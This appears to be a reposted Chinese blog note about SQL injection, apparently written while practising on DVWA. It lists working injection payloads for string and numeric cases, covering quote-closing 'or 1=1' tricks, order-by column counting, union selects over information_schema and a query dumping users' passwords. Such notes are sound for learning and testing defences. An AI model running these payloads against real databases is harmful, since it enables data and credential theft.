ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入遇到的一些问题

2021-01-19 23:30:05  阅读:299  来源: 互联网

标签:回显 遇到 union sql table schema where select 注入


一、字符型注入的思想是闭合引号:
select 1,2 from tables where id=‘ID’
ID: ’ or 1=1’’ or 1=1#’ or 1=1–
步骤:
1、先判断当前表的字段数
’ order by 1(2,3,4,5…) #,直到出现错误,说明只有几个字段
2、知道了字段数之后,测试哪几个字段可以回显,比如有3个字段,那么
’ union select 1,2,3 #
比如1和3能显示,说明第一列和第三列的字段可以回显
3、利用数据库的函数显示需要的信息

 1. ' union select user(),2,database()#  回显当前用户信息和数据库信息
 2. ' union select table_name,2,3 from information_schema.tables where table_schema='数据库名' #回显当前数据库中的所有表名
 3. ' union select column_name,2,3 from information_schema.columns where table_name=表名' # 回显当前表中的字段名
 4. ‘ union select user,password from users # 回显账号、密码

二、数字型注入直接order by操作
select 1,2 from tables where id=ID order by 3
执行优先级:
1、from
2、where
3、select
4、order by (虽然没有select 3,但是依然可以按照3来排序)
1 union select table_name,2 from information_schema.tables where table_schema=database(); 这里是函数database(),DVWA中级别会屏蔽 ’ ,最好直接用函数

标签:回显,遇到,union,sql,table,schema,where,select,注入
来源: https://blog.csdn.net/cppsu10net1/article/details/112853830

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有